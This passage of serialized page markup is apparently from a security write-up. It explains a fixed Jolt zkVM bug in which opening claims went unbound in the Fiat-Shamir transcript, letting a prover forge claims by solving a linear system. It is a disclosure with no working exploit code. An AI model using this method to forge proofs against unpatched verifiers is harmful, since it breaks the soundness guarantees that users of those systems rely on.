system.",{"type":24,"tag":26485,"props":122233,"children":122234},{},[],{"type":24,"tag":85,"props":122236,"children":122238},{"id":122237},"jolt-a16z",[122239],{"type":29,"value":122240},"Jolt (a16z)",{"type":24,"tag":25,"props":122242,"children":122243},{},[122244],{"type":29,"value":122245},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":25,"props":122247,"children":122248},{},[122249],{"type":24,"tag":213,"props":122250,"children":122251},{},[122252],{"type":29,"value":122253},"The proof structure:",{"type":24,"tag":261,"props":122255,"children":122257},{"code":122256},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[122258],{"type":24,"tag":135,"props":122259,"children":122260},{"__ignoreMap":7},[122261],{"type":29,"value":122256},{"type":24,"tag":25,"props":122263,"children":122264},{},[122265],{"type":24,"tag":213,"props":122266,"children":122267},{},[122268],{"type":29,"value":122269},"The verification flow:",{"type":24,"tag":25,"props":122271,"children":122272},{},[122273],{"type":24,"tag":74,"props":122274,"children":122277},{"alt":122275,"src":122276},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":25,"props":122279,"children":122280},{},[122281,122286,122288,122294,122296,122302,122304,122309],{"type":24,"tag":213,"props":122282,"children":122283},{},[122284],{"type":29,"value":122285},"The bug:",{"type":29,"value":122287}," Each sumcheck instance provides an ",{"type":24,"tag":135,"props":122289,"children":122291},{"className":122290},[],[122292],{"type":29,"value":122293},"input_claim",{"type":29,"value":122295},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":135,"props":122297,"children":122299},{"className":122298},[],[122300],{"type":29,"value":122301},"opening_claims",{"type":29,"value":122303}," in the proof, but they were ",{"type":24,"tag":213,"props":122305,"children":122306},{},[122307],{"type":29,"value":122308},"never absorbed into the transcript",{"type":29,"value":122310}," before the batching coefficients were derived.",{"type":24,"tag":25,"props":122312,"children":122313},{},[122314],{"type":24,"tag":74,"props":122315,"children":122318},{"alt":122316,"src":122317},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":25,"props":122320,"children":122321},{},[122322],{"type":24,"tag":213,"props":122323,"children":122324},{},[122325],{"type":29,"value":122326},"How sumcheck uses opening_claims:",{"type":24,"tag":25,"props":122328,"children":122329},{},[122330,122332,122338,122340,122417],{"type":29,"value":122331},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":135,"props":122333,"children":122335},{"className":122334},[],[122336],{"type":29,"value":122337},"BatchedClaim",{"type":29,"value":122339}," by taking a random linear combination of the individual claims ",{"type":24,"tag":135,"props":122341,"children":122343},{"className":122342},[11705,11706],[122344],{"type":24,"tag":271,"props":122345,"children":122347},{"className":122346},[11711],[122348],{"type":24,"tag":271,"props":122349,"children":122351},{"className":122350,"ariaHidden":5670},[11716],[122352],{"type":24,"tag":271,"props":122353,"children":122355},{"className":122354},[11721],[122356,122360],{"type":24,"tag":271,"props":122357,"children":122359},{"className":122358,"style":117834},[11726],[],{"type":24,"tag":271,"props":122361,"children":122363},{"className":122362},[11732],[122364,122369],{"type":24,"tag":271,"props":122365,"children":122367},{"className":122366,"style":100071},[11732,29273],[122368],{"type":29,"value":100074},{"type":24,"tag":271,"props":122370,"children":122372},{"className":122371},[11747],[122373],{"type":24,"tag":271,"props":122374,"children":122376},{"className":122375},[11752,29327],[122377,122406],{"type":24,"tag":271,"props":122378,"children":122380},{"className":122379},[11757],[122381,122401],{"type":24,"tag":271,"props":122382,"children":122384},{"className":122383,"style":100366},[11762],[122385],{"type":24,"tag":271,"props":122386,"children":122387},{"style":117266},[122388,122392],{"type":24,"tag":271,"props":122389,"children":122391},{"className":122390,"style":11772},[11771],[],{"type":24,"tag":271,"props":122393,"children":122395},{"className":122394},[11777,11778,11779,11780],[122396],{"type":24,"tag":271,"props":122397,"children":122399},{"className":122398},[11732,29273,11780],[122400],{"type":29,"value":11462},{"type":24,"tag":271,"props":122402,"children":122404},{"className":122403},[29430],[122405],{"type":29,"value":29433},{"type":24,"tag":271,"props":122407,"children":122409},{"className":122408},[11757],[122410],{"type":24,"tag":271,"props":122411,"children":122413},{"className":122412,"style":99920},[11762],[122414],{"type":24,"tag":271,"props":122415,"children":122416},{},[],{"type":29,"value":12210},{"type":24,"tag":25,"props":122419,"children":122420},{},[122421],{"type":24,"tag":135,"props":122422,"children":122424},{"className":122423},[11705,11706],[122425],{"type":24,"tag":271,"props":122426,"children":122428},{"className":122427},[11711],[122429],{"type":24,"tag":271,"props":122430,"children":122432},{"className":122431,"ariaHidden":5670},[11716],[122433,122463,122604],{"type":24,"tag":271,"props":122434,"children":122436},{"className":122435},[11721],[122437,122441,122450,122454,122459],{"type":24,"tag":271,"props":122438,"children":122440},{"className":122439,"style":99752},[11726],[],{"type":24,"tag":271,"props":122442,"children":122444},{"className":122443},[11732,29],[122445],{"type":24,"tag":271,"props":122446,"children":122448},{"className":122447},[11732],[122449],{"type":29,"value":122337},{"type":24,"tag":271,"props":122451,"children":122453},{"className":122452,"style":11908},[11810],[],{"type":24,"tag":271,"props":122455,"children":122457},{"className":122456},[11913],[122458],{"type":29,"value":762},{"type":24,"tag":271,"props":122460,"children":122462},{"className":122461,"style":11908},[11810],[],{"type":24,"tag":271,"props":122464,"children":122466},{"className":122465},[11721],[122467,122472,122529,122533,122591,122595,122600],{"type":24,"tag":271,"props":122468,"children":122471},{"className":122469,"style":122470},[11726],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":271,"props":122473,"children":122475},{"className":122474},[29309],[122476,122481],{"type":24,"tag":271,"props":122477,"children":122479},{"className":122478,"style":29316},[29309,29314,29315],[122480],{"type":29,"value":115632},{"type":24,"tag":271,"props":122482,"children":122484},{"className":122483},[11747],[122485],{"type":24,"tag":271,"props":122486,"children":122488},{"className":122487},[11752,29327],[122489,122518],{"type":24,"tag":271,"props":122490,"children":122492},{"className":122491},[11757],[122493,122513],{"type":24,"tag":271,"props":122494,"children":122496},{"className":122495,"style":121044},[11762],[122497],{"type":24,"tag":271,"props":122498,"children":122499},{"style":29340},[122500,122504],{"type":24,"tag":271,"props":122501,"children":122503},{"className":122502,"style":11772},[11771],[],{"type":24,"tag":271,"props":122505,"children":122507},{"className":122506},[11777,11778,11779,11780],[122508],{"type":24,"tag":271,"props":122509,"children":122511},{"className":122510},[11732,29273,11780],[122512],{"type":29,"value":11462},{"type":24,"tag":271,"props":122514,"children":122516},{"className":122515},[29430],[122517],{"type":29,"value":29433},{"type":24,"tag":271,"props":122519,"children":122521},{"className":122520},[11757],[122522],{"type":24,"tag":271,"props":122523,"children":122525},{"className":122524,"style":121324},[11762],[122526],{"type":24,"tag":271,"props":122527,"children":122528},{},[],{"type":24,"tag":271,"props":122530,"children":122532},{"className":122531,"style":11849},[11810],[],{"type":24,"tag":271,"props":122534,"children":122536},{"className":122535},[11732],[122537,122542],{"type":24,"tag":271,"props":122538,"children":122540},{"className":122539,"style":121925},[11732,29273],[122541],{"type":29,"value":121928},{"type":24,"tag":271,"props":122543,"children":122545},{"className":122544},[11747],[122546],{"type":24,"tag":271,"props":122547,"children":122549},{"className":122548},[11752,29327],[122550,122580],{"type":24,"tag":271,"props":122551,"children":122553},{"className":122552},[11757],[122554,122575],{"type":24,"tag":271,"props":122555,"children":122557},{"className":122556,"style":100366},[11762],[122558],{"type":24,"tag":271,"props":122559,"children":122561},{"style":122560},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[122562,122566],{"type":24,"tag":271,"props":122563,"children":122565},{"className":122564,"style":11772},[11771],[],{"type":24,"tag":271,"props":122567,"children":122569},{"className":122568},[11777,11778,11779,11780],[122570],{"type":24,"tag":271,"props":122571,"children":122573},{"className":122572},[11732,29273,11780],[122574],{"type":29,"value":11462},{"type":24,"tag":271,"props":122576,"children":122578},{"className":122577},[29430],[122579],{"type":29,"value":29433},{"type":24,"tag":271,"props":122581,"children":122583},{"className":122582},[11757],[122584],{"type":24,"tag":271,"props":122585,"children":122587},{"className":122586,"style":99920},[11762],[122588],{"type":24,"tag":271,"props":122589,"children":122590},{},[],{"type":24,"tag":271,"props":122592,"children":122594},{"className":122593,"style":11811},[11810],[],{"type":24,"tag":271,"props":122596,"children":122598},{"className":122597},[11816],[122599],{"type":29,"value":118099},{"type":24,"tag":271,"props":122601,"children":122603},{"className":122602,"style":11811},[11810],[],{"type":24,"tag":271,"props":122605,"children":122607},{"className":122606},[11721],[122608,122612],{"type":24,"tag":271,"props":122609,"children":122611},{"className":122610,"style":117834},[11726],[],{"type":24,"tag":271,"props":122613,"children":122615},{"className":122614},[11732],[122616,122621],{"type":24,"tag":271,"props":122617,"children":122619},{"className":122618,"style":100071},[11732,29273],[122620],{"type":29,"value":100074},{"type":24,"tag":271,"props":122622,"children":122624},{"className":122623},[11747],[122625],{"type":24,"tag":271,"props":122626,"children":122628},{"className":122627},[11752,29327],[122629,122658],{"type":24,"tag":271,"props":122630,"children":122632},{"className":122631},[11757],[122633,122653],{"type":24,"tag":271,"props":122634,"children":122636},{"className":122635,"style":100366},[11762],[122637],{"type":24,"tag":271,"props":122638,"children":122639},{"style":117266},[122640,122644],{"type":24,"tag":271,"props":122641,"children":122643},{"className":122642,"style":11772},[11771],[],{"type":24,"tag":271,"props":122645,"children":122647},{"className":122646},[11777,11778,11779,11780],[122648],{"type":24,"tag":271,"props":122649,"children":122651},{"className":122650},[11732,29273,11780],[122652],{"type":29,"value":11462},{"type":24,"tag":271,"props":122654,"children":122656},{"className":122655},[29430],[122657],{"type":29,"value":29433},{"type":24,"tag":271,"props":122659,"children":122661},{"className":122660},[11757],[122662],{"type":24,"tag":271,"props":122663,"children":122665},{"className":122664,"style":99920},[11762],[122666],{"type":24,"tag":271,"props":122667,"children":122668},{},[],{"type":24,"tag":25,"props":122670,"children":122671},{},[122672,122674,122751,122753,122758,122760,122837,122839,122916,122918,122995],{"type":29,"value":122673},"where ",{"type":24,"tag":135,"props":122675,"children":122677},{"className":122676},[11705,11706],[122678],{"type":24,"tag":271,"props":122679,"children":122681},{"className":122680},[11711],[122682],{"type":24,"tag":271,"props":122683,"children":122685},{"className":122684,"ariaHidden":5670},[11716],[122686],{"type":24,"tag":271,"props":122687,"children":122689},{"className":122688},[11721],[122690,122694],{"type":24,"tag":271,"props":122691,"children":122693},{"className":122692,"style":116807},[11726],[],{"type":24,"tag":271,"props":122695,"children":122697},{"className":122696},[11732],[122698,122703],{"type":24,"tag":271,"props":122699,"children":122701},{"className":122700,"style":121925},[11732,29273],[122702],{"type":29,"value":121928},{"type":24,"tag":271,"props":122704,"children":122706},{"className":122705},[11747],[122707],{"type":24,"tag":271,"props":122708,"children":122710},{"className":122709},[11752,29327],[122711,122740],{"type":24,"tag":271,"props":122712,"children":122714},{"className":122713},[11757],[122715,122735],{"type":24,"tag":271,"props":122716,"children":122718},{"className":122717,"style":100366},[11762],[122719],{"type":24,"tag":271,"props":122720,"children":122721},{"style":122560},[122722,122726],{"type":24,"tag":271,"props":122723,"children":122725},{"className":122724,"style":11772},[11771],[],{"type":24,"tag":271,"props":122727,"children":122729},{"className":122728},[11777,11778,11779,11780],[122730],{"type":24,"tag":271,"props":122731,"children":122733},{"className":122732},[11732,29273,11780],[122734],{"type":29,"value":11462},{"type":24,"tag":271,"props":122736,"children":122738},{"className":122737},[29430],[122739],{"type":29,"value":29433},{"type":24,"tag":271,"props":122741,"children":122743},{"className":122742},[11757],[122744],{"type":24,"tag":271,"props":122745,"children":122747},{"className":122746,"style":99920},[11762],[122748],{"type":24,"tag":271,"props":122749,"children":122750},{},[],{"type":29,"value":122752}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":135,"props":122754,"children":122756},{"className":122755},[],[122757],{"type":29,"value":122301},{"type":29,"value":122759}," (containing ",{"type":24,"tag":135,"props":122761,"children":122763},{"className":122762},[11705,11706],[122764],{"type":24,"tag":271,"props":122765,"children":122767},{"className":122766},[11711],[122768],{"type":24,"tag":271,"props":122769,"children":122771},{"className":122770,"ariaHidden":5670},[11716],[122772],{"type":24,"tag":271,"props":122773,"children":122775},{"className":122774},[11721],[122776,122780],{"type":24,"tag":271,"props":122777,"children":122779},{"className":122778,"style":117834},[11726],[],{"type":24,"tag":271,"props":122781,"children":122783},{"className":122782},[11732],[122784,122789],{"type":24,"tag":271,"props":122785,"children":122787},{"className":122786,"style":100071},[11732,29273],[122788],{"type":29,"value":100074},{"type":24,"tag":271,"props":122790,"children":122792},{"className":122791},[11747],[122793],{"type":24,"tag":271,"props":122794,"children":122796},{"className":122795},[11752,29327],[122797,122826],{"type":24,"tag":271,"props":122798,"children":122800},{"className":122799},[11757],[122801,122821],{"type":24,"tag":271,"props":122802,"children":122804},{"className":122803,"style":100366},[11762],[122805],{"type":24,"tag":271,"props":122806,"children":122807},{"style":117266},[122808,122812],{"type":24,"tag":271,"props":122809,"children":122811},{"className":122810,"style":11772},[11771],[],{"type":24,"tag":271,"props":122813,"children":122815},{"className":122814},[11777,11778,11779,11780],[122816],{"type":24,"tag":271,"props":122817,"children":122819},{"className":122818},[11732,29273,11780],[122820],{"type":29,"value":11462},{"type":24,"tag":271,"props":122822,"children":122824},{"className":122823},[29430],[122825],{"type":29,"value":29433},{"type":24,"tag":271,"props":122827,"children":122829},{"className":122828},[11757],[122830],{"type":24,"tag":271,"props":122831,"children":122833},{"className":122832,"style":99920},[11762],[122834],{"type":24,"tag":271,"props":122835,"children":122836},{},[],{"type":29,"value":122838},") were not in the transcript, the ",{"type":24,"tag":135,"props":122840,"children":122842},{"className":122841},[11705,11706],[122843],{"type":24,"tag":271,"props":122844,"children":122846},{"className":122845},[11711],[122847],{"type":24,"tag":271,"props":122848,"children":122850},{"className":122849,"ariaHidden":5670},[11716],[122851],{"type":24,"tag":271,"props":122852,"children":122854},{"className":122853},[11721],[122855,122859],{"type":24,"tag":271,"props":122856,"children":122858},{"className":122857,"style":116807},[11726],[],{"type":24,"tag":271,"props":122860,"children":122862},{"className":122861},[11732],[122863,122868],{"type":24,"tag":271,"props":122864,"children":122866},{"className":122865,"style":121925},[11732,29273],[122867],{"type":29,"value":121928},{"type":24,"tag":271,"props":122869,"children":122871},{"className":122870},[11747],[122872],{"type":24,"tag":271,"props":122873,"children":122875},{"className":122874},[11752,29327],[122876,122905],{"type":24,"tag":271,"props":122877,"children":122879},{"className":122878},[11757],[122880,122900],{"type":24,"tag":271,"props":122881,"children":122883},{"className":122882,"style":100366},[11762],[122884],{"type":24,"tag":271,"props":122885,"children":122886},{"style":122560},[122887,122891],{"type":24,"tag":271,"props":122888,"children":122890},{"className":122889,"style":11772},[11771],[],{"type":24,"tag":271,"props":122892,"children":122894},{"className":122893},[11777,11778,11779,11780],[122895],{"type":24,"tag":271,"props":122896,"children":122898},{"className":122897},[11732,29273,11780],[122899],{"type":29,"value":11462},{"type":24,"tag":271,"props":122901,"children":122903},{"className":122902},[29430],[122904],{"type":29,"value":29433},{"type":24,"tag":271,"props":122906,"children":122908},{"className":122907},[11757],[122909],{"type":24,"tag":271,"props":122910,"children":122912},{"className":122911,"style":99920},[11762],[122913],{"type":24,"tag":271,"props":122914,"children":122915},{},[],{"type":29,"value":122917}," values are independent of ",{"type":24,"tag":135,"props":122919,"children":122921},{"className":122920},[11705,11706],[122922],{"type":24,"tag":271,"props":122923,"children":122925},{"className":122924},[11711],[122926],{"type":24,"tag":271,"props":122927,"children":122929},{"className":122928,"ariaHidden":5670},[11716],[122930],{"type":24,"tag":271,"props":122931,"children":122933},{"className":122932},[11721],[122934,122938],{"type":24,"tag":271,"props":122935,"children":122937},{"className":122936,"style":117834},[11726],[],{"type":24,"tag":271,"props":122939,"children":122941},{"className":122940},[11732],[122942,122947],{"type":24,"tag":271,"props":122943,"children":122945},{"className":122944,"style":100071},[11732,29273],[122946],{"type":29,"value":100074},{"type":24,"tag":271,"props":122948,"children":122950},{"className":122949},[11747],[122951],{"type":24,"tag":271,"props":122952,"children":122954},{"className":122953},[11752,29327],[122955,122984],{"type":24,"tag":271,"props":122956,"children":122958},{"className":122957},[11757],[122959,122979],{"type":24,"tag":271,"props":122960,"children":122962},{"className":122961,"style":100366},[11762],[122963],{"type":24,"tag":271,"props":122964,"children":122965},{"style":117266},[122966,122970],{"type":24,"tag":271,"props":122967,"children":122969},{"className":122968,"style":11772},[11771],[],{"type":24,"tag":271,"props":122971,"children":122973},{"className":122972},[11777,11778,11779,11780],[122974],{"type":24,"tag":271,"props":122975,"children":122977},{"className":122976},[11732,29273,11780],[122978],{"type":29,"value":11462},{"type":24,"tag":271,"props":122980,"children":122982},{"className":122981},[29430],[122983],{"type":29,"value":29433},{"type":24,"tag":271,"props":122985,"children":122987},{"className":122986},[11757],[122988],{"type":24,"tag":271,"props":122989,"children":122991},{"className":122990,"style":99920},[11762],[122992],{"type":24,"tag":271,"props":122993,"children":122994},{},[],{"type":29,"value":41},{"type":24,"tag":25,"props":122997,"children":122998},{},[122999],{"type":24,"tag":213,"props":123000,"children":123001},{},[123002],{"type":29,"value":123003},"Why it's linear:",{"type":24,"tag":25,"props":123005,"children":123006},{},[123007,123009],{"type":29,"value":123008},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":135,"props":123010,"children":123012},{"className":123011},[11705,11706],[123013],{"type":24,"tag":271,"props":123014,"children":123016},{"className":123015},[11711],[123017],{"type":24,"tag":271,"props":123018,"children":123020},{"className":123019,"ariaHidden":5670},[11716],[123021],{"type":24,"tag":271,"props":123022,"children":123024},{"className":123023},[11721],[123025,123029],{"type":24,"tag":271,"props":123026,"children":123028},{"className":123027,"style":29268},[11726],[],{"type":24,"tag":271,"props":123030,"children":123032},{"className":123031,"style":100071},[11732,29273],[123033],{"type":29,"value":100074},{"type":24,"tag":25,"props":123035,"children":123036},{},[123037],{"type":24,"tag":135,"props":123038,"children":123040},{"className":123039},[11705,11706],[123041],{"type":24,"tag":271,"props":123042,"children":123044},{"className":123043},[11711],[123045],{"type":24,"tag":271,"props":123046,"children":123048},{"className":123047,"ariaHidden":5670},[11716],[123049,123139,123165,123191],{"type":24,"tag":271,"props":123050,"children":123052},{"className":123051},[11721],[123053,123057,123126,123130,123135],{"type":24,"tag":271,"props":123054,"children":123056},{"className":123055,"style":117834},[11726],[],{"type":24,"tag":271,"props":123058,"children":123060},{"className":123059},[11732],[123061,123067],{"type":24,"tag":271,"props":123062,"children":123064},{"className":123063,"style":29805},[11732,29273],[123065],{"type":29,"value":123066},"C",{"type":24,"tag":271,"props":123068,"children":123070},{"className":123069},[11747],[123071],{"type":24,"tag":271,"props":123072,"children":123074},{"className":123073},[11752,29327],[123075,123115],{"type":24,"tag":271,"props":123076,"children":123078},{"className":123077},[11757],[123079,123110],{"type":24,"tag":271,"props":123080,"children":123083},{"className":123081,"style":123082},[11762],"height:0.3361em;",[123084],{"type":24,"tag":271,"props":123085,"children":123087},{"style":123086},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[123088,123092],{"type":24,"tag":271,"props":123089,"children":123091},{"className":123090,"style":11772},[11771],[],{"type":24,"tag":271,"props":123093,"children":123095},{"className":123094},[11777,11778,11779,11780],[123096],{"type":24,"tag":271,"props":123097,"children":123099},{"className":123098},[11732,11780],[123100],{"type":24,"tag":271,"props":123101,"children":123103},{"className":123102},[11732,29,11780],[123104],{"type":24,"tag":271,"props":123105,"children":123107},{"className":123106},[11732,11780],[123108],{"type":29,"value":123109},"final",{"type":24,"tag":271,"props":123111,"children":123113},{"className":123112},[29430],[123114],{"type":29,"value":29433},{"type":24,"tag":271,"props":123116,"children":123118},{"className":123117},[11757],[123119],{"type":24,"tag":271,"props":123120,"children":123122},{"className":123121,"style":99920},[11762],[123123],{"type":24,"tag":271,"props":123124,"children":123125},{},[],{"type":24,"tag":271,"props":123127,"children":123129},{"className":123128,"style":11908},[11810],[],{"type":24,"tag":271,"props":123131,"children":123133},{"className":123132},[11913],[123134],{"type":29,"value":762},{"type":24,"tag":271,"props":123136,"children":123138},{"className":123137,"style":11908},[11810],[],{"type":24,"tag":271,"props":123140,"children":123142},{"className":123141},[11721],[123143,123147,123152,123156,123161],{"type":24,"tag":271,"props":123144,"children":123146},{"className":123145,"style":121920},[11726],[],{"type":24,"tag":271,"props":123148,"children":123150},{"className":123149},[11732,29273],[123151],{"type":29,"value":32},{"type":24,"tag":271,"props":123153,"children":123155},{"className":123154,"style":11811},[11810],[],{"type":24,"tag":271,"props":123157,"children":123159},{"className":123158},[11816],[123160],{"type":29,"value":118099},{"type":24,"tag":271,"props":123162,"children":123164},{"className":123163,"style":11811},[11810],[],{"type":24,"tag":271,"props":123166,"children":123168},{"className":123167},[11721],[123169,123173,123178,123182,123187],{"type":24,"tag":271,"props":123170,"children":123172},{"className":123171,"style":121949},[11726],[],{"type":24,"tag":271,"props":123174,"children":123176},{"className":123175,"style":100071},[11732,29273],[123177],{"type":29,"value":100074},{"type":24,"tag":271,"props":123179,"children":123181},{"className":123180,"style":11811},[11810],[],{"type":24,"tag":271,"props":123183,"children":123185},{"className":123184},[11816],[123186],{"type":29,"value":1012},{"type":24,"tag":271,"props":123188,"children":123190},{"className":123189,"style":11811},[11810],[],{"type":24,"tag":271,"props":123192,"children":123194},{"className":123193},[11721],[123195,123199],{"type":24,"tag":271,"props":123196,"children":123198},{"className":123197,"style":99752},[11726],[],{"type":24,"tag":271,"props":123200,"children":123202},{"className":123201},[11732,29273],[123203],{"type":29,"value":10954},{"type":24,"tag":25,"props":123205,"children":123206},{},[123207,123208,123247,123249,123274,123276,123406,123408,123529],{"type":29,"value":122673},{"type":24,"tag":135,"props":123209,"children":123211},{"className":123210},[11705,11706],[123212],{"type":24,"tag":271,"props":123213,"children":123215},{"className":123214},[11711],[123216],{"type":24,"tag":271,"props":123217,"children":123219},{"className":123218,"ariaHidden":5670},[11716],[123220],{"type":24,"tag":271,"props":123221,"children":123223},{"className":123222},[11721],[123224,123228,123233,123238,123242],{"type":24,"tag":271,"props":123225,"children":123227},{"className":123226,"style":121892},[11726],[],{"type":24,"tag":271,"props":123229,"children":123231},{"className":123230},[11732,29273],[123232],{"type":29,"value":32},{"type":24,"tag":271,"props":123234,"children":123236},{"className":123235},[11842],[123237],{"type":29,"value":11845},{"type":24,"tag":271,"props":123239,"children":123241},{"className":123240,"style":11849},[11810],[],{"type":24,"tag":271,"props":123243,"children":123245},{"className":123244},[11732,29273],[123246],{"type":29,"value":10954},{"type":29,"value":123248}," are determined by the transcript (independent of ",{"type":24,"tag":135,"props":123250,"children":123252},{"className":123251},[11705,11706],[123253],{"type":24,"tag":271,"props":123254,"children":123256},{"className":123255},[11711],[123257],{"type":24,"tag":271,"props":123258,"children":123260},{"className":123259,"ariaHidden":5670},[11716],[123261],{"type":24,"tag":271,"props":123262,"children":123264},{"className":123263},[11721],[123265,123269],{"type":24,"tag":271,"props":123266,"children":123268},{"className":123267,"style":29268},[11726],[],{"type":24,"tag":271,"props":123270,"children":123272},{"className":123271,"style":100071},[11732,29273],[123273],{"type":29,"value":100074},{"type":29,"value":123275},"). The verifier checks that ",{"type":24,"tag":135,"props":123277,"children":123279},{"className":123278},[11705,11706],[123280],{"type":24,"tag":271,"props":123281,"children":123283},{"className":123282},[11711],[123284],{"type":24,"tag":271,"props":123285,"children":123287},{"className":123286,"ariaHidden":5670},[11716],[123288,123374],{"type":24,"tag":271,"props":123289,"children":123291},{"className":123290},[11721],[123292,123296,123361,123365,123370],{"type":24,"tag":271,"props":123293,"children":123295},{"className":123294,"style":117834},[11726],[],{"type":24,"tag":271,"props":123297,"children":123299},{"className":123298},[11732],[123300,123305],{"type":24,"tag":271,"props":123301,"children":123303},{"className":123302,"style":29805},[11732,29273],[123304],{"type":29,"value":123066},{"type":24,"tag":271,"props":123306,"children":123308},{"className":123307},[11747],[123309],{"type":24,"tag":271,"props":123310,"children":123312},{"className":123311},[11752,29327],[123313,123350],{"type":24,"tag":271,"props":123314,"children":123316},{"className":123315},[11757],[123317,123345],{"type":24,"tag":271,"props":123318,"children":123320},{"className":123319,"style":123082},[11762],[123321],{"type":24,"tag":271,"props":123322,"children":123323},{"style":123086},[123324,123328],{"type":24,"tag":271,"props":123325,"children":123327},{"className":123326,"style":11772},[11771],[],{"type":24,"tag":271,"props":123329,"children":123331},{"className":123330},[11777,11778,11779,11780],[123332],{"type":24,"tag":271,"props":123333,"children":123335},{"className":123334},[11732,11780],[123336],{"type":24,"tag":271,"props":123337,"children":123339},{"className":123338},[11732,29,11780],[123340],{"type":24,"tag":271,"props":123341,"children":123343},{"className":123342},[11732,11780],[123344],{"type":29,"value":123109},{"type":24,"tag":271,"props":123346,"children":123348},{"className":123347},[29430],[123349],{"type":29,"value":29433},{"type":24,"tag":271,"props":123351,"children":123353},{"className":123352},[11757],[123354],{"type":24,"tag":271,"props":123355,"children":123357},{"className":123356,"style":99920},[11762],[123358],{"type":24,"tag":271,"props":123359,"children":123360},{},[],{"type":24,"tag":271,"props":123362,"children":123364},{"className":123363,"style":11908},[11810],[],{"type":24,"tag":271,"props":123366,"children":123368},{"className":123367},[11913],[123369],{"type":29,"value":762},{"type":24,"tag":271,"props":123371,"children":123373},{"className":123372,"style":11908},[11810],[],{"type":24,"tag":271,"props":123375,"children":123377},{"className":123376},[11721],[123378,123382,123392,123397],{"type":24,"tag":271,"props":123379,"children":123381},{"className":123380,"style":101250},[11726],[],{"type":24,"tag":271,"props":123383,"children":123385},{"className":123384},[11732,29],[123386],{"type":24,"tag":271,"props":123387,"children":123389},{"className":123388},[11732],[123390],{"type":29,"value":123391},"expected",{"type":24,"tag":271,"props":123393,"children":123395},{"className":123394,"style":99837},[11732],[123396],{"type":29,"value":10818},{"type":24,"tag":271,"props":123398,"children":123400},{"className":123399},[11732,29],[123401],{"type":24,"tag":271,"props":123402,"children":123404},{"className":123403},[11732],[123405],{"type":29,"value":45216},{"type":29,"value":123407}," (from PCS opening), this becomes ",{"type":24,"tag":135,"props":123409,"children":123411},{"className":123410},[11705,11706],[123412],{"type":24,"tag":271,"props":123413,"children":123415},{"className":123414},[11711],[123416],{"type":24,"tag":271,"props":123417,"children":123419},{"className":123418,"ariaHidden":5670},[11716],[123420,123446,123472,123498],{"type":24,"tag":271,"props":123421,"children":123423},{"className":123422},[11721],[123424,123428,123433,123437,123442],{"type":24,"tag":271,"props":123425,"children":123427},{"className":123426,"style":121920},[11726],[],{"type":24,"tag":271,"props":123429,"children":123431},{"className":123430},[11732,29273],[123432],{"type":29,"value":32},{"type":24,"tag":271,"props":123434,"children":123436},{"className":123435,"style":11811},[11810],[],{"type":24,"tag":271,"props":123438,"children":123440},{"className":123439},[11816],[123441],{"type":29,"value":118099},{"type":24,"tag":271,"props":123443,"children":123445},{"className":123444,"style":11811},[11810],[],{"type":24,"tag":271,"props":123447,"children":123449},{"className":123448},[11721],[123450,123454,123459,123463,123468],{"type":24,"tag":271,"props":123451,"children":123453},{"className":123452,"style":121949},[11726],[],{"type":24,"tag":271,"props":123455,"children":123457},{"className":123456,"style":100071},[11732,29273],[123458],{"type":29,"value":100074},{"type":24,"tag":271,"props":123460,"children":123462},{"className":123461,"style":11811},[11810],[],{"type":24,"tag":271,"props":123464,"children":123466},{"className":123465},[11816],[123467],{"type":29,"value":1012},{"type":24,"tag":271,"props":123469,"children":123471},{"className":123470,"style":11811},[11810],[],{"type":24,"tag":271,"props":123473,"children":123475},{"className":123474},[11721],[123476,123480,123485,123489,123494],{"type":24,"tag":271,"props":123477,"children":123479},{"className":123478,"style":99752},[11726],[],{"type":24,"tag":271,"props":123481,"children":123483},{"className":123482},[11732,29273],[123484],{"type":29,"value":10954},{"type":24,"tag":271,"props":123486,"children":123488},{"className":123487,"style":11908},[11810],[],{"type":24,"tag":271,"props":123490,"children":123492},{"className":123491},[11913],[123493],{"type":29,"value":762},{"type":24,"tag":271,"props":123495,"children":123497},{"className":123496,"style":11908},[11810],[],{"type":24,"tag":271,"props":123499,"children":123501},{"className":123500},[11721],[123502,123506,123515,123520],{"type":24,"tag":271,"props":123503,"children":123505},{"className":123504,"style":101250},[11726],[],{"type":24,"tag":271,"props":123507,"children":123509},{"className":123508},[11732,29],[123510],{"type":24,"tag":271,"props":123511,"children":123513},{"className":123512},[11732],[123514],{"type":29,"value":123391},{"type":24,"tag":271,"props":123516,"children":123518},{"className":123517,"style":99837},[11732],[123519],{"type":29,"value":10818},{"type":24,"tag":271,"props":123521,"children":123523},{"className":123522},[11732,29],[123524],{"type":24,"tag":271,"props":123525,"children":123527},{"className":123526},[11732],[123528],{"type":29,"value":45216},{"type":29,"value":41},{"type":24,"tag":25,"props":123531,"children":123532},{},[123533],{"type":29,"value":123534},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":25,"props":123536,"children":123537},{},[123538],{"type":29,"value":123539},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":25,"props":123541,"children":123542},{},[123543,123548,123550],{"type":24,"tag":213,"props":123544,"children":123545},{},[123546],{"type":29,"value":123547},"Status:",{"type":29,"value":123549}," Fixed on October 3, 2025 via ",{"type":24,"tag":32,"props":123551,"children":123554},{"href":123552,"rel":123553},"https://github.com/a16z/jolt/pull/981",[36],[123555],{"type":29,"value":123556},"PR 